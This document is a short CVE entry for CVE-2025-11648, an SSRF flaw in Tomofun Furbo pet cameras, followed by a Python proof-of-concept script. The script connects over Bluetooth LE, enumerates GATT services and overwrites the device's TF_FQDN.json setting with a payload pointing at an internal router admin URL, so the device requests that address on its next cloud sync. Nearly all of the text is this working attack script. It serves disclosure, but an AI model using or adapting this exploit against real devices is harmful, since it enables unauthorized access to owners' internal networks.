CVE-2025-11648 Tomofun Furbo系列设备GATT接口SSRF漏洞

# CVE-2025-11648 - Furbo SSRF via BLE GATT Interface # PoC demonstrates the SSRF vulnerability through TF_FQDN.json manipulation import asyncio from bleak import BleakClient, BleakScanner # Target device BLE address (needs to be discovered first) TARGET_DEVICE_ADDRESS = "XX:XX:XX:XX:XX:XX" # GATT service and characteristic UUIDs for TF_FQDN.json # These UUIDs need to be identified through BLE enumeration GATT_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" FQDN_CHARACTERISTIC_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb" # Malicious FQDN payload - points to internal network resource # This URL will be fetched by the device when it attempts cloud communication MALICIOUS_FQDN = { "fqdn": "http://192.168.1.1/admin/config", "port": 80, "protocol": "http" } import json payload = json.dumps(MALICIOUS_FQDN).encode('utf-8') async def exploit_ssrf(): """ Exploit SSRF vulnerability in Furbo devices via BLE GATT interface. The vulnerability exists in the TF_FQDN.json URL Handler component. """ print(f"[*] Scanning for Furbo device: {TARGET_DEVICE_ADDRESS}") # Connect to the target device via BLE async with BleakClient(TARGET_DEVICE_ADDRESS) as client: print(f"[+] Connected to device: {TARGET_DEVICE_ADDRESS}") # Discover GATT services services = await client.get_services() for service in services: print(f"[*] Service: {service.uuid}") for char in service.characteristics: print(f" Characteristic: {char.uuid} - Properties: {char.properties}") # Write malicious FQDN payload to the vulnerable characteristic # This overwrites the TF_FQDN.json configuration print(f"[*] Writing malicious FQDN payload to {FQDN_CHARACTERISTIC_UUID}") await client.write_gatt_char(FQDN_CHARACTERISTIC_UUID, payload) print("[+] Payload written successfully") # The device will now use the malicious URL on next cloud sync # Trigger a sync or wait for device to reboot print("[*] Waiting for device to initiate cloud communication...") print("[!] Device will send request to: http://192.168.1.1/admin/config") print("[!] Monitor the target server to capture the SSRF request") if __name__ == "__main__": asyncio.run(exploit_ssrf())